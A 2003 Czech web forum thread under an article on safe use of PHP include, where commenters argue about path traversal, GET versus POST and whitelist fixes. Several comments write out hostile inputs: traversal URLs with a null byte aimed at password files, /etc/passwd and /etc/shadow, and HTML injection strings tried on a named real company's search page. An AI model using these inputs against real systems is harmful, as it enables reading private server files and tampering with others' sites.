Starší komentáře ke článku: Bezpečnost především - include v PHP

Zpět na článek | Úvodní stránka Interval.cz

Avatar

Autor komentáře: Vita

Datum vložení: 10.5.2003 1:03:37

Skoda, tenhle clanek by mel byt sticky. Stejne tak jako cross-site scripting a sql script injection. Jsou to notoricky zname - a notoricky neosetrene chyby.

Neco jako
<a href='http://www.eurotel.cz' target='_blank'>http://www.eurotel.cz</a>
a vlozte do hledani
<style>body * { color: #000 !important; background: #000 !important }</style>

To same jde na stovkach webu - a stejne tak to co je zde popisovano (at zije ceska posta, ze ano)

Avatar

Autor komentáře: Peťa

Datum vložení: 10.5.2003 13:42:38

Jak tomu efektu (<style>body * { color: #000 !important; background: #000 !important }</style>
) zabranim? Staci pouzit $_POST[] ci $_GET[]?

Dekuji za odpoved

Avatar

Autor komentáře: Vita

Datum vložení: 10.5.2003 14:28:24

Ne, musite nahradit <, > a $quot; za &lt;, &gt; a &quot; - napriklad pomoci htmlspecialchars ().

Nezapomente ze je to zcela regulerni - proste jen hledam kde je takovy text.

Avatar

Autor komentáře: Peťa

Datum vložení: 10.5.2003 18:28:08

Jo, uz to funguje:-) Diky

Avatar

Autor komentáře: jakub

Datum vložení: 11.5.2003 11:18:17

hele tohle je dobry, zkuste to s
</div></div></div></div></div></div> ...

mimochodem nebojte se to zkusit pres GET

<a href='http://www.eurotel.cz/cgi-bin/searchCz.cgi?q=</div></div></div></div>&ul=http://www.eurotel.cz/site/cz/%&cs=cp1250' target='_blank'>http://www.eurotel.cz/cgi-bin/searchCz.cgi?q=</div></div></div></div>&ul=http://www.eurotel.cz/site/cz/%&cs=cp1250</a>

- tohle je fakt husty - neco jako kontrola GET/POST ....

Avatar

Autor komentáře: Vita

Datum vložení: 11.5.2003 11:24:24

Varite z vody. Proc kontrolovat get nebo post, je to prakticky jedno. Podstatne je zda to osetrite - koneckoncu ja dnes pro vyhledavani pouzivam get temer vyhradne - protoze narozdil od postu se takova stranka da pote ulozit i do oblibenych, odkazat na ni apod.

Podstatnejsi je osetrit co prislo, nikoli kontrolovat odkud to prislo - koneckoncu proc zakazat nekomu moznost nalinkovat vysledek hledani.

Avatar

Autor komentáře: jakub

Datum vložení: 11.5.2003 11:49:52

ja taky radsi pouzivam GET, presne ze stejneho duvodu, ktery uvadite, osobne vubec nechapu, proc to euroteli vyhledavani nedelaj v postu, akorat to pak dela hokej

o tom vareni z vody - to je vec nazoru, dle meho je lepsi, brat udaje striktne z $_GET (resp. ekvivalent v jinem jazyce)

Ted se mozna poustim na tenky led, ale mezi GET a POST je dle meho rozdil v datovem objemu ... ostatne proc se dava limit na max_file_upload. Ted mozna vazne varim z vody.

Avatar

Autor komentáře: jakub

Datum vložení: 11.5.2003 11:51:37

uff, pisu rychlejc nez myslim, - ma tam byt "... nedelaj v GETu ..."

Avatar

Autor komentáře: Michal Kubeček

Datum vložení: 11.5.2003 12:24:19

Rozdíl mezi GET a POST je především v tom, že při metodě GET jsou parametry předány přes proměnnou prostředí. Obecně tak máte zaručeno předání pouze 255 znaků. Potřebujete-li poslat soubor, je nutné použít POST. Dále se doporučuje používat POST všude tam, kde váš request nějakým způsobem modifikuje data (na vyhledávání GET, na zápis do guestbooku POST).

Avatar

Autor komentáře: jakub

Datum vložení: 11.5.2003 13:46:58

Tak ta delka 255 znaku je jiz jaksi pase, zalezi na webserveru (vim, ze Vy vite, nedavno jsme to resili myslim na lupe).

To pouziti bych nevidel v rovine, zda modifikuje nebo nemodifikuje data. To je totiz jedno, tak jako tak, davate po zapisu redirect, takze je to jedno. Spis bych to opet bral z hlediska velikosti dat - napriklad je pro mne tezko predstavitelne, ze tenhle formular (do ktereho pisu prispevek) by byl reseny pres get. Myslim, ze jsem videl limit na GET cca 4kB, nicmene POST konci na 8MB (myslim u php standardne v php.ini)

V neposledni rade asi nepouzijete GET pri login formulari ;)

Avatar

Autor komentáře: Michal Kubeček

Datum vložení: 11.5.2003 14:47:25

Proto jsem také použil slovo "obecně". Tím jsem myslel to, že se bez dalších informací nemůžete spolehnout, že to bude více. V konkrétních případech ten limit obvykle větší je. Na Linuxu při obvyklém nastavení bych docela věřil těm 4KB. U metody POST jako takové žádný limit není, pouze konkrétní skript (nebo engine) si může nějaký nastavit.

Avatar

Autor komentáře: jakub

Datum vložení: 11.5.2003 14:53:13

asi tak ;)

Avatar

Autor komentáře: Vita

Datum vložení: 11.5.2003 12:42:42

Pochopitelne nerikam ze je rozumne si to prehazovat. Jde o to ze nekde je z logickych duvodu jeden ci druhy vhodnejsi. Vyhledavani ma smysl resit v get - a pokud ho vy sam resite v postu, neni duvod ho udelat soucasne funkcni i pres get.

Koneckoncu <style> vam muzu podstcit do vyhledavaciho formulare jak getem tak postem :) - a vpodstate to souvisi s tim include. Je jedno co vam do skriptu prijde, melo by to byt ale reseno tak aby to ten skript rozdychal. Urcite vas nepotesi kdyz vam nekdo includne formular pro pridavani administratora ;)

Avatar

Autor komentáře: jakub

Datum vložení: 11.5.2003 13:41:38

Ja ho resim v GETu (viz oprava vyse). Taktez souhlasim s tim, ze GET/POST nema nic spolecneho s diletantskou interpretaci textu dotazu.

Ten zbytek nekomentuji protoze se shodnem a zrejme to navic neni reakce na me (jinak viz nize v tomto foru).

Jinak co se tyce toho inkludovani - ja s phpkem zacinal asi pred dvema lety, precetl Koska a zacal. Krome jineho je jiz v teto knize uvedeno neco o addslashes v dotazu a htmlspecialchars v interpretaci. Nikdy me ovsem nenapadlo inkludovat tak, ze do promenne zadam cestu k souboru.

Takze konstrukce, kdy nekdo inkludne formular pro pridavani administratora mi prijde spis v rovine sci-fi ;) ;) Navic, to ze Vam nekdo inkludne sablonu jeste nic neznamena (ackoli to asi neni idealni stav), protoze ta je mu stejne naprd. To uz je asi spis slovickareni.

Avatar

Autor komentáře: Vita

Datum vložení: 11.5.2003 13:57:58

Na tom se shodneme.

Jak vidno profesionalove z eurotelu jsou podivni. Jejich cast o MS2003 na novinkach je pomerne slusne udelane beztabulkove dilo atd. Eurotel samotny proti tomu je amaterismus - a mobilgo je proste a jednoduse totalni tragedie.

Konstrukce kdy nekdo includne form na pridani admina zni smesne ale nelze se divit. I takove kousky lze dnes nalezt ;)

Avatar

Autor komentáře: Michal Kubeček

Datum vložení: 11.5.2003 14:51:19

Zdá se mi krajně nepravděpodobné, že by ty dva zmíněné příklady pocházely z jedné dílny. Nevěřím, že by člověk, který vytvořil MS2003 na Novinkách byl schopen spáchat něco tak strašného jako web Eurotelu nebo dokonce MobilGo.

Avatar

Autor komentáře: Vita

Datum vložení: 11.5.2003 15:11:01

Jo, to me taky. Btw povsimni si neuveritelneho amaterismu eurotelu ktery na svych strankach nikde v paticce nema ani kontakt na toho kdo to delal. Ze by ne amaterismus ale stud?

DOcela to prekvapuje, ja si na to docela zvykl - ze na kazde strance je odkaz na webmasera.

Avatar

Autor komentáře: LaPierre

Datum vložení: 13.5.2003 14:22:28

je snad jasny ze kdyz mam vyhledavani na strankach tak filtruju veskery html svinstvo, staci se kouknout na php.net tam toho je hafo ...

te buch vita.

lapierre

Avatar

Autor komentáře: pepak

Datum vložení: 10.5.2003 7:01:14

Opravte me, jestli se pletu, ale neni mozny nabourat tu "vhodne napsanou aplikaci" zavolanim nejak takhle?

<a href='http://www.server.cz/index.php?app=..\tajne\hesla.xml\0' target='_blank'>http://www.server.cz/index.php?app=..\tajne\hesla.xml\0</a>

Avatar

Autor komentáře: pepak

Datum vložení: 10.5.2003 7:02:18

Akorat by asi bylo vhodny pouzit spravny lomitka. Neuvedomil jsem si...

Avatar

Autor komentáře: Pavel Růžička

Datum vložení: 10.5.2003 8:15:03

Dobrý den,

není to možné - testuje se existence souboru v daném adresáři - vy se tu pokoušíte includovat soubor z nadřízeného adresáře (což je navíc na většině serverů dnes již zakázáno, ovšem není argumentem se na to spoléhat), to se vám ale nepodaří, protože nebude zjištěna existence souboru a vámi požadovaný include se neprovede.


S pozdravem

Pavel Růžička
odborný redaktor Interval.cz

Avatar

Autor komentáře: pepak

Datum vložení: 10.5.2003 8:46:08

No, to bych si dovolil nesouhlasit:

1) Testuje se existence souboru, ktery se bude includovat. Nikde neni definovano, ze ten soubor nutne musi byt v danem adresari - cesta "Controls/../tajne/hesla.xml" je zcela legalni (docela jiste na Windows, a nevidim duvod, proc by nesla pod Linuxem).

2) Ze zrovna soubor tajne/hesla.xml neexistuje, to je sice hezky, ale docela klidne se prece muzu trefit do existujiciho souboru (budu pridavat "../" tak dlouho, dokud se nedostanu do rootu, a pak uz neni problem precist si treba "/etc/passwd", "/winnt/system32/config/system.alt", nebo cokoliv jinyho, co me zrovna zajima)

Avatar

Autor komentáře: Michal Kubeček

Datum vložení: 10.5.2003 12:58:55

Už zase mlžení. Na souboru /etc/passwd není nic tajného. Najděte si, prosím, lepší příklad.

Avatar

Autor komentáře: pepak

Datum vložení: 10.5.2003 14:25:46

Muj ty smutku, vy se mi snad zdate. To je snad uplne jedno, jakej konkretni soubor pouziju v priklade, kterej demonstruje chybu uvadenyho pristupu, ne? To uz mi stejne dobre muzete tvrdit, ze "to je blbost, zjistit takhle heslo k freemailovymu uctu - nepouzivam webovy rozhrani, ale IMAP" - to prece nic nemeni na tom zakladnim faktu, ze ta chyba existuje a zrejme by se dala zneuzit!

Avatar

Autor komentáře: Michal Kubeček

Datum vložení: 10.5.2003 16:00:04

Tak neuvádějte konkrétní příklad. Nebo uveďte takový, aby to nebyl do očí bijící nesmysl.

Avatar

Autor komentáře: pepak

Datum vložení: 10.5.2003 16:43:14

Dobre, priste budu "korektni" a napisu: "Ve vasi 'bezpecny verzi' je chyba. Detaily neuvadim, abych neurazil jemnocit nekterych ctenaru tim, ze si nezvolim 100% dokonaly priklad". To bude nepochybne mnohem uzitecnejsi.

Nehlede na to, ze si nemyslim, ze by to byl "do oci bijici nesmysl", a evidentne si to nemysli ani cela rada lidi, kteri se bezpecnosti systemu zabyvaji (jinak by se asi o /etc/passwd nezajimali). Rika vam neco "socialni inzenyrstvi" (v souvislosti s bezpecnosti?)

Avatar

Autor komentáře: Michal Kubeček

Datum vložení: 10.5.2003 18:38:34

Ale no tak, to už poněkud vaříte z vody. Kdyby na obsahu '/etc/passwd' bylo něco citlivého, nebyl by world readable. Buď přiznejte, že ten příklad byl zcela zavádějící, nebo raději mlčte. Aspoň se nebudete ztrapňovat ještě více než je nezbytně nutné.

Avatar

Autor komentáře: pepak

Datum vložení: 10.5.2003 19:02:54

Vas argument je zhruba na urovni protiargumentu "kdyby v tom nebyly citlivy informace, tak by to bylo vystaveny na hlavni strance". Ze si VY nedovedete predstavit nebezpeci, to neni MUJ problem.

Koncim. Priste nebudu tak blbej, abych "hazel perly svinim" a neco vysvetloval - k cemu to taky je, vysvetlovat neco cloveku, co neni schopnej odlisit podstatny od nepodstatnyho. Jestli se chcete dal hadat, prosim, ale beze me - uz tu nebudu odpovidat, at si pisete jaky blbosti chcete, a nebudu ani cist pripadny odpovedi.

Avatar

Autor komentáře: Dan M.

Datum vložení: 10.5.2003 22:08:44

Skutečně nemohu nereagovat. Způsob Vaši argumentaci mi vnucuje myšlenku, že jméno Michal Kubeček je přezdívka autora, který se tak chabými argumenty snaží hájit tuto nepříliš kvalitně navrženou ukázku "vzorového" kódu, jejímž smyslem je pouhé nahrazení hrubé chyby jinou, o trochu méně hrubou chybou.
Opravdu není nepodstatné, jestli lze aplikaci nabourat a získat etc/passwd, connection stringy do DB, nebo jiné konfigurační údaje, jelikož mám dojem, že tato ukázka mělá právě tyto chyby opravit. No, snad příště :-)
A ještě všem začátečníkům, prosím takto NE. Jako mnohem lepší řešení bych viděl přiřazení ID jednotlivým stránkám, ve smyslu "objednavka" = "page/objednavka.inc.php", a odkazy typu stranka.php?pg=objednavka.
Je tak umožněno roztřídění stránek do různých adresářových struktur a jejich snadné přesouvání, bez nutnosti změny odkazů na ně, stejně jako nastavení konfiguračních parametrů pro jednotlivé stránky.
DaM

Avatar

Autor komentáře: Michal Kubeček

Datum vložení: 10.5.2003 23:52:59

Ne, Michal Kubeček není přezdívka autora. Michal Kubeček je jméno a příjmení člověka, kterému se nelíbí neustálé machrování některých lidí, kteří na laiky házejí ramena, jak dokáží získat soubor, jehož jméno sice vypadá tajuplně, ale na jehož obsahu naprosto nic tajného není. Takový exhibicionismus je sice působivý, ale na člověka, který se bezpečností trochu zabývá (a za takového se považuji), nemůže udělat absolutně žádný dojem. Kdyby dotyčný poloanonym prostě napsal "umožní zobrazit obsah libovolného souboru, ke kterému má přístup uživatel, pod nímž je PHP skript spuštěn", neřeknu ani slovo, protože přesně tak to je. I když to nevypadá tak efektně jako "umožní získat soubor /etc/passwd". Když už chce ukazovat konkrétní příklad, ať zvolí nějaký, který má smysl - třeba soubor s hesly pro HTTP autentizaci.

Pokud byste se obtěžoval podívat i na ostatní příspěvky, všiml byste si, že o něco níže jsem v jednom příspěvku naznačil, že ani metoda z článku mi nepřipadá zcela spolehlivá a že osobně bych to řešil úplně jinak.

Avatar

Autor komentáře: DreamFacE

Datum vložení: 11.5.2003 0:13:56

nad arogantnimi odpovedmi nekterych redaktoru intervalu mi zustava rozum stat...

Avatar

Autor komentáře: Michal Kubeček

Datum vložení: 11.5.2003 2:27:26

Smím se zeptat, proč to píšete k mému příspěvku? Nejsem redaktorem Intervalu a nikdy jsem jím nebyl.

Avatar

Autor komentáře: DreamFacE

Datum vložení: 11.5.2003 2:30:15

omlouvam se, ze zamenil jsem si vas s redaktorem intervalu. to ovsem nic nemeni na tom, ze byste mohl sve nazory publikovat v trochu umirnenejsi a mene utocne forme ;)

Avatar

Autor komentáře: Jméno a příjmení

Datum vložení: 11.5.2003 9:09:29

Pane Kubecek je videt ze jste slusny amater ;)) naopak soubor /etc/passwd ma na dost velkem poctu instalaci kritickou dulezitost ;) napriklad protoze obsahuje jmena uzivatelu a skupiny kam patri, coz utocnikovi ohromne zjednodusuje utok :) ale potesim Vas... Uz ani nepamatuji system (minimalne linuxu), ktery by dovoloval takto stupidnim utokem cist /etc/passwd :))))))))))

Avatar

Autor komentáře: Michal Kubeček

Datum vložení: 11.5.2003 10:56:38

Vaše názory na mé schopnosti, pane "Jméno a příjmení", mne budou zajímat teprve tehdy, až bude splněna jedna z těchto podmínek:

1. Budu vědět, kdo jste, a bude vědět, že se od vás mám v oboru co naučit.
2. Budete mým klientem.

Vaše jméno se mi bohužel nevybavuje, a to, co jste prezentoval ve svém příspěvku, je, mírně řečeno, zavádějící. Takže podmínka 1 splněna není. Pokud by byla splněna podmínka 2, předpokládám, že byste se mnou komunikoval přímo a ne přes nástěnku, takže také asi ne.

V tom případě pro vás asi nemohu více udělat. Pokud budete mít zájem, navštivte nějaké školení o bezpečnosti, tam vám to jistě rádi vysvětlí. Třeba se trefíte do toho, kde přednáším, a budu vám moci problematiku objasnit osobně... :-)

Avatar

Autor komentáře: jakub

Datum vložení: 11.5.2003 11:07:20

asi tak ...

Avatar

Autor komentáře: Pichal Hudeček

Datum vložení: 16.12.2008 10:29:05

chlape ty ses ale debil.. takovou demenci jako mas ty sem v zivote nevidel.. cest

Avatar

Autor komentáře: Marek Vidtman

Datum vložení: 13.5.2003 10:36:12

Zdá se, že se radši dohadujete o něčem, co vůbec nesouvisí s článkem, než o konkrétním řešení. Každý příklad, který demonstruje chybu je prospěšný. I kdyby to měl být soubor s hodnotou Vašeho IQ. A to se mi zdá hodně bezvýznamné.

Avatar

Autor komentáře: Jméno a příjmení

Datum vložení: 11.5.2003 9:15:46

Pane Kubecek Vase napady me docela rozveseluji :))) Proc mluvite o necem cemu zjevne zhola nerozumite? :)) a jeste kde jste prosim Vas prisel na to ze /etc/passwd je "world-readable"? :)))))))))))))))))))) mozna na nejakem redhat 5 snad ano nevim nepamatuji se :) ale par let uz na vetsine slusnejsich distribuci linuxu neni ;)) a pokud vy mate na serveru /etc/passwd viditelny pro vsechny nechte si velmi rychle vymenit administratora ;) pokud jim tedy nejste Vy... pak radeji mlcte :)

btw jsou pripady kdy opravdu /etc/passwd neni nebezpecim, ale vetsinou je :)

Avatar

Autor komentáře: Michal Kubeček

Datum vložení: 11.5.2003 10:47:03

Mohu se zeptat, které jsou ty slušnější distribuce Linuxu? Já totiž pro změnu neviděl unixový systém, kde by /etc/passwd nebyl čitelný pro všechny. Z novějších distribucí Linuxu namátkou SuSE 7.3, 8.1, 8.2, Redhat 7.3, 8.0, Slackware 8.1, 9.0, kdybych měl jmenovat jen ty, které jsem osobně zkoušel. Pokud byste chtěl jednotlivými uživatelům umožnit překlad mezi UID a uživatelskými jmény a přitom jim nedat práva ke čtení /etc/passwd, musel byste použít úplně jiný autentizační mechanismus.

P.S. Řekl bych, že si pletete /etc/passwd a /etc/shadow.

Avatar

Autor komentáře: Jméno a příjmení

Datum vložení: 11.5.2003 11:22:40

Pane Kubecek omlouvam se za nepresnost. Celou dobu samozrejme mluvim o "world-readable" z pohledu http serveru. Pevne verim ze opravdu nedovolujete "browsovat" Vasim filesystemem :)) zajiste /etc/passwd je citelny pri beznem pouziti to bez diskuze :)

K jmenu a prijmeni... nezverejnuji.. k nicemu Vam nebude verte mi :) Tez mi verte, ze neznate vsechny odborniky :) ne ze bych se pasoval na odbornika, ale vyznelo mi to tak, ze podle jmena teprve usoudite zda mi verit ci ne :) tusim mi ted vytknete cestinarske chyby? :)

btw potesim Vas nejsem Vasim zakaznikem :))))

Avatar

Autor komentáře: Michal Kubeček

Datum vložení: 11.5.2003 11:43:46

Označení "world-readable" se obvykle používá pro soubory čitelné pro všechny uživatele systému. Ale on to není tak velký rozdíl, jak se často soudí. Osobně totiž za jednu z nejčastějších principiálních chyb při správě systému považuji příliš jednostrannou orientaci na útok zvenku.

Jsou v podstatě dvě možnosti: buď se na ten počítač přihlašují 1-2 lidé, kteří si navzájem plně důvěřují (a lze se spolehnout na jejich opatrnost) a pak toho obsah /etc/passwd stejně útočníkovi moc neřekne - prakticky nic v něm není. Nebo je uživatelů více a pak by zdravě paranoidní správce systému neměl těmto uživatelům důvěřovat o moc více než komukoli zvenčí. Zní to hrozně, ale je to tak.

Už několikrát se mi v praxi stalo, že se pod některým z lokálních uživatelů na můj (mnou spravovaný) počítač nalogoval útočník. Prostě proto, že ovládal systém, ze kterého se dotyčný přihlásil ke mně, a odposlechl heslo. Tomu prakticky nemám možnost zabránit - a v podstatě tomu nemůže zabránit ani ten uživatel. I proto je lepší vždy předpokládat, že lokálním uživatelům se nedá důvěřovat.

Avatar

Autor komentáře: Jméno a příjmení

Datum vložení: 11.5.2003 12:23:57

Plne s Vami souhlasim. Samozrejme to takto ma byt. Nicmene ja stale uvazuji pouze v ramci vyse uvedeneho utoku includem a tedy v ramci prav http serveru.

Avatar

Autor komentáře: Michal Kusyn

Datum vložení: 12.5.2003 8:31:28

1.Rekl bych ze v seznam useru v ets/passwd muze byt uzitecny.
2.Nebezi nehodou php ci apache pod userem `nobody` ?
3.Pokud Vam php umozni brouzdat serverem, meli by ste se dostat ke vsem php souborum ostatnich uzivatelu (alespon ke cteni), coz je podle me nebezpecnejsi, zvlaste pouzivaji-li databazi. (to se potom ctou hesla jedna radost)
4.Jak vam mohl "odposlechnout" heslo ?

Avatar

Autor komentáře: Michal Kubeček

Datum vložení: 12.5.2003 11:17:53

1. Částečně ano. Ale zas tak moc ne, aby se z toho dělala taková panika.
2. Takové řešení považuji za velmi nešťastné. Uživatel 'nobody' by měl mít prakticky nulová práva. Jakmile bych pod ním spouštěl Apache, musel bych mu určitá práva dát. Budu-li pod ním spouštět i další služby, stane se z něj poměrně privilegovaný uživatel. Proto považuji za vhodnější vytvořit pro každou službu samostatného uživatele a tomu dát jen ta práva, která nezbytně potřebuje.
3. Přesně o tom mluvím. Soubor '/etc/passwd' je jen "malá ryba". V porovnání s mnohými jinými je v podstatě neškodný.
4. Jednoduše. Získal roota na nějakém cizím počítači a spustil si tam sniffer. V okamžiku, kdy se z toho počítače nalogoval jeden z mých uživatelů, získal jeho heslo a mohl se ke mně nalogovat sám. Samozřejmě jen pod tímto uživatelem. Ale je to způsob průniku na úrovni lokálního uživatele, kterému principiálně nemohu zabránit (pokud tedy chci, aby se uživatelé mohli vzdáleně přihlašovat). Netřeba zdůrazňovat, že se tak dostal i k onomu diskutovanému '/etc/passwd'.

Avatar

Autor komentáře: jakub

Datum vložení: 12.5.2003 13:50:16

ad 3 - no od toh snad existuje base_dir a safe_mode, ne? Kazdy rozumny ma toto nastavane, takze potom se dostanete pouze k souborum daneho uzivatele ...

Avatar

Autor komentáře: Václav Prokop

Datum vložení: 16.8.2005 19:52:00

a co treba BSD, Solaris a jiny unix?

Avatar

Autor komentáře: Pavel Růžička

Datum vložení: 11.5.2003 7:41:25

Zdravím Vás,

musím Vám dát za pravdu, otestování, zda soubor existuje ve složce Controls tak jak je to napsané, nestačí - máte nějaký tip na to jak toto ještě ošetřit? Jakkoli je tato metoda pro poskládání stránky nejméně vhodná (a v článku je to i zmíněno), pokud ji někdo chce použít, bylo by samozřejmě dobré, aby se tato chyba odstranila (pokud to je vůbec možné).

Mě napadá ověřit regulárním výrazem otestovat, zda parametr obsahuje pouze alfanumerické znaky, což by dále snížilo rychlost aplikaci a tím ještě víc posunulo použití této metody na triviální stránky anebo pro úpravu starších nevhodně navržených. Možná to má ale někdo vymyšlené líp?

Díky za názor, pokud zde dojdeme k jednoznačnému řešení, ihned článek opravím.

Hezký den,

Pavel Růžička

Avatar

Autor komentáře: pepak

Datum vložení: 11.5.2003 8:16:57

No, pokud bych nad tim nechtel moc premejslet, tak z toho vstupniho stringu ($s = $_REQUEST['app']) vyhazim (nahradim treba podrtrzitkem) pomoci prislusny funkce (snad StrTr):
- znaky s ASCII kodem 0..31 a 128..255
- znaky \ a /, a pro jistotu jeste * ? |
(kdyz to tak po sobe ctu, asi by bylo jednodussi smazat vsechno jiny nez alfanumericky znaky, minus, podtrzitko a tecky :-)

Avatar

Autor komentáře: jakub

Datum vložení: 11.5.2003 11:12:44

prosim, tak tohle ne
<I>což by dále snížilo rychlost aplikaci a tím ještě víc posunulo použití této metody na triviální stránky anebo pro úpravu starších nevhodně navržených</I>
tohle je do nebe volajici blbost - jeden jediny kontrolni preg_match (vic jich potreba neni) Vam rychlost zpomali v radu milisekund, navic - proc tak brutalne resite prenos parametru jako alfanumerickymi znaky, kdyz staci pouzit cislo - ktere jakozto parametr klidne nasilne prevedete opravdu na integer (at jiz +=0 nebo int) a mate klid. Umele si akorat vytvarite prostor, ktery stejne musite dodatecne kontrolovat

Avatar

Autor komentáře: Pavel Růžička

Datum vložení: 11.5.2003 17:06:30

Dobrý den,

díky za tip, ale o tom výběru číslem článek není, je to v něm zmíněno a také několikrát v této diskusi - touto metodou se zabývají jiné články a v tomto článku jsou na něj odkazy.

Díky za pochopení.

Pavel Růžička
odborný redaktor Interval.cz

Avatar

Autor komentáře: jakub

Datum vložení: 11.5.2003 17:56:07

no, on o nem neni, nicmene to je prave to, co ja povazuji za spatne - ciselny identifikator je daleko elegantnejsi, snazsi a jednodussi reseni. Navic myslim, ze jiz pri prvnim vydani tohoto clanku to bylo v diskusi zmineno. Nejak tu puvodni diskusi ale nemohu najit ;)

Avatar

Autor komentáře: Jméno a příjmení

Datum vložení: 11.5.2003 18:07:48

číselný identifikátor zase ale na druhou stranu koliduje s dalším požadavkem na kvalitní web, totiž s požadavkem na jeho přístupnost (prostřednictvím jednoznačné a snadno zapamatovatelné URL ;-)

Avatar

Autor komentáře: jakub

Datum vložení: 11.5.2003 18:59:04

index.php?stranka=prihlaseni&cast=prvni
index.php?stranka=10&cast=1

pro 80% lidi je to uplne jedno, protoze si lidi nepamatujou poradi ?,&,=, cili tenhle argument povazuju za uplne zcestnej a ja jen doufam, ze mi tady nikdo nechce namluvit, jak se prvni verze pamatuje lepe

Avatar

Autor komentáře: Vita

Datum vložení: 11.5.2003 19:19:46

jo, taky si myslim ze prihlaseni.php se pamatuje lip ;)

Avatar

Autor komentáře: Dan M.

Datum vložení: 11.5.2003 22:01:56

Nechci tvrdit, že se první zápis pamatuje lépe, ale alespoň pro mne několik výhod má, např. již z url adresy ve status baru mohu zjistit, kam budu přesměrován, zda to bude stránka s možností přihlášení, nebo objednávkou, kontakty apod. Ta samá informace mě uklidní při ukládání adresy mezi oblíbené.
Ji-li použito číslo jako identifikátor, pak to může působit jako když před uživatelem skrýváte obsah další stránky a chystáte pro něj překvapení v podobě reklamy. Obdobný důsledek má i skrývání adresy přepisováním textu ve status baru.
Na druhou stranu je spousta lidí, kteří status bar nesledují, navíc je v ie6 defaultně skryt, ale pro mne to význam má :-)
DaM

Avatar

Autor komentáře: jakub

Datum vložení: 11.5.2003 22:08:33

Ja tvrdim, ze tak jak tady jsme, tak patrime do te odbornejsi casti verejnosti (je jedno, jestli nekdo rozumi jen html) a my to samozrejme pozname, nicmene normalnimu uzivateli je to jedno, jemu maximalne pomuze
1. bud pojmenovavat tak primo soubory - objednavka.php
2. nebo zridit subdomeny prodej.mojefirma.cz
3. nebo adresare mojefirma.cz/prodej, resp. to same pomoci nejakeho rewrite modulu, jakmile je to v query_stringu tak je to naprd

navic k tomu co pisete, ja mam takovou zkusenost, ze lecktere servery tim maskuji prave reklamu ... < subjektivne

Avatar

Autor komentáře: jakub

Datum vložení: 11.5.2003 22:13:59

mimochodem pri 300 strankach chci videt, jak budete automaticky dosazovat inteligentni alfanumericky identifikator

?stranka=priloha%20vyrocni%20zpravy%2003
nebo v lepsim pripade
?stranka=priloha_vyrocni_zpravy_2003
nebo, aby ten identifikator tak nezatezoval databazi, tak treba
?stranka=prilvyrzpra03

;)))

kdyz uz tak udelejte aliasy pomoci vyse uvedenych 3 zpusobu - pak je vcelku jedno jaky mate identifikator - opet vyhody mluvi pro cisla - rychlejsi v databazi, mensi datova narocnost, ...

navic to vidim i jako vhodnou kombinaci index.php?stranka=1 ... index.php?stranka=380

alias bude mit pouze 10 stezejnich - objednavka, kontakty, profil, akce, shop - udelejte 10 subdomen, ktere budou mit v adresari v indexu natvrdo zadany tenhle parametr a je to.

Avatar

Autor komentáře: Dan M.

Datum vložení: 12.5.2003 22:18:16

Samozřejmě souhlas, moje doporučení se týkalo případů, kdy je možné si vybrat a mezi tyto případy patří například internetové obchody (viz. konkrétní příklady názvů), kde různorodých obsahových stránek nebývá tolik, něco jiného je intranetový portál s interními dokumenty.
DaM

Avatar

Autor komentáře: MarS

Datum vložení: 28.5.2003 19:38:21

No napada je ovsem jedna moznost, kdy je vhodnejsi pouzit retezcove indexovani. Existuje totiz nekolik pomerne kvalitnich template enginu (Smarty napr.), ktere velmi usnadnuji vyvoj aplikace (napr oddeluji prezentaci a vykonnou cast), a urcite si budete pri psani odkazu pamatovat, jake ma prave urcita template cislo. Se zobrazenim dat do te template je to uz jasne, tam bych pouzil jednoznacne cisla a databazi.

Avatar

Autor komentáře: Vojta Brzek

Datum vložení: 11.5.2003 16:16:35

Jistě si nemyslel /etc/passwd ale /etc/shadow

Tahle možnost je vážně závislá na webserveru. Novější verze apache vám nedolí cokoliv číst z adresáře nadřazeného DocumentRootu protože jinak by stačilo napsat třeba <a href='http://www.server.cz/../../../etc/shadow' target='_blank'>http://www.server.cz/../../../etc/shadow</a>

Avatar

Autor komentáře: Jméno a příjmení

Datum vložení: 11.5.2003 16:49:37

Samozrejme jsem myslel cokoliv mimo documentroot tedy i /etc/passwd ;) jiste, prave protoze novejsi verze to uz nedovoli, proto take rikam, ze administrator toto povolujici je spatny :) pokud k tomu nema vylozeny duvod tedy :)

Avatar

Autor komentáře: Michal Kubeček

Datum vložení: 10.5.2003 13:13:26

Nejvhodnější je ovšem povolit pouze vložení jednoho z pevně vybraných include souborů. Ono už takové vložení souboru, který nebyl určen ke vložení do tohoto konkrétního skriptu, může nadělat slušnou paseku. Takže osobně bych preferoval spíše něco jako

$file = NULL;
if (isset($_REQUEST["f"]) && !is_null($_REQUEST["f"]))
  $file = (int) $_REQUEST["f"];

switch($file) {
  case 1: $filename = "index.inc"; break;
  case 2: $filename = "main.inc"; break;
  case 3: $filename = "about.inc"; break;
  ...
  default: $filename = "index.inc";
}

Pro větší množství variant se samozřejmě místo příkazu <U>switch</U> použije prohledání pole.

Avatar

Autor komentáře: Vita

Datum vložení: 10.5.2003 13:24:37

Hm osobne jsem pouzival spis konstrukci typu
$ar = array ('main' => 'main.php', 'vypis' => 'vypis.php', 'detail' => 'detail.php') ... atd.

A pak jsem proste jen otestoval zda je to co se vola v poli - pokud to tam nebylo tak se proste includl main a hotovo.

Dnes uz to nedelam, pisu to rovnou tak aby se generovaly staticke stranky - jednak je to lepsi pro server, jednak pro vyhledavace. A to stoji za trochu prace navic...

Avatar

Autor komentáře: Pavel Růžička

Datum vložení: 11.5.2003 7:45:46

Dobrý den,

metoda, kterou doporučujete je přesně popsána v jednom z článků, které jsou v tomto článku zmíněny (v článku jsou odkazy) - není to jediné možné řešení, metod je více. Vaše připomínka tedy s ohledem na již uveřejněné články o skládání stránky aplikace za běhu nepřínáší nic nového.

S pozdravem

Pavel Růžička
odborný redaktor Interval.cz

Avatar

Autor komentáře: Michal Kubeček

Datum vložení: 11.5.2003 11:26:03

Samozřejmě, něco tak přirozeného bych určitě nevydával za novou myšlenku. Podstatou mého příspěvku byla ta poznámka, že problémem není jen include souboru, který nebyl pro include zamýšlen, ale také include souboru ve špatnou chvíli a do jiného skriptu než kam patří.

Avatar

Autor komentáře: off

Datum vložení: 10.5.2003 21:33:22

mozem sa opytat co je zle na prikaze include? a ako by sa dal inak nahradit? dik

Avatar

Autor komentáře: Vita

Datum vložení: 10.5.2003 22:36:37

Neni na nem nic zle pokud si osetris co includujes. Nejde o to zda - ale jak. Pokud includujes soubory 'natvrdo', problem neni. Pokud si ale delas neco jako
